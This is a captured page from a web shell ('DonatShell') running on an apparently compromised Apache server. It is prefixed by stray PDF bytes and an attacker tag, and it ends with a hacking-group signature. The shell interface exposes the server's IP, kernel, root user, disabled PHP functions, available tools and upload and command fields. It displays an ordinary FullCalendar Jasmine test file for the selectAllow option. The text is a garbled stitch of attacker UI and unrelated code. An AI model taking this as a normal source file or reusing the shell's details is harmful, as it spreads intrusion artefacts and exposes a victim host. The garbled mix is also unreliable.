%PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 49.231.201.246  /  Your IP : 216.73.216.146
Web Server : Apache/2.4.18 (Ubuntu)
System : Linux 246 4.4.0-210-generic #242-Ubuntu SMP Fri Apr 16 09:57:56 UTC 2021 x86_64
User : root ( 0)
PHP Version : 7.0.33-0ubuntu0.16.04.16
Disable Function : exec,passthru,shell_exec,system,proc_open,popen,pcntl_exec
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/ppaobm/vendor/bower-asset/fullcalendar/tests/automated/legacy/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /var/www/html/ppaobm/vendor/bower-asset/fullcalendar/tests/automated/legacy/selectAllow.js
import { selectTimeGrid } from '../lib/time-grid'

describe('selectAllow', function() {

  pushOptions({
    now: '2016-09-04',
    defaultView: 'timeGridWeek',
    scrollTime: '00:00',
    selectable: true
  })

  it('disallows selecting when returning false', function(done) { // and given correct params
    var options = {
      selectAllow: function(selectInfo) {
        expect(typeof selectInfo).toBe('object')
        expect(selectInfo.start instanceof Date).toBe(true)
        expect(selectInfo.end instanceof Date).toBe(true)
        return false
      }
    }
    spyOn(options, 'selectAllow').and.callThrough()

    initCalendar(options)

    selectTimeGrid('2016-09-04T01:00:00Z', '2016-09-04T05:00:00Z')
      .then(function(selectInfo) {
        expect(selectInfo).toBeFalsy()
        expect(options.selectAllow).toHaveBeenCalled()
        done()
      })
  })

  it('allows selecting when returning true', function(done) {
    var options = {
      selectAllow: function(selectInfo) {
        return true
      }
    }
    spyOn(options, 'selectAllow').and.callThrough()

    initCalendar(options)

    selectTimeGrid('2016-09-04T01:00:00Z', '2016-09-04T05:00:00Z')
      .then(function(selectInfo) {
        expect(typeof selectInfo).toBe('object')
        expect(selectInfo.start).toEqualDate('2016-09-04T01:00:00Z')
        expect(selectInfo.end).toEqualDate('2016-09-04T05:30:00Z')
        expect(options.selectAllow).toHaveBeenCalled()
        done()
      })
  })
})

Anon7 - 2022
AnonSec Team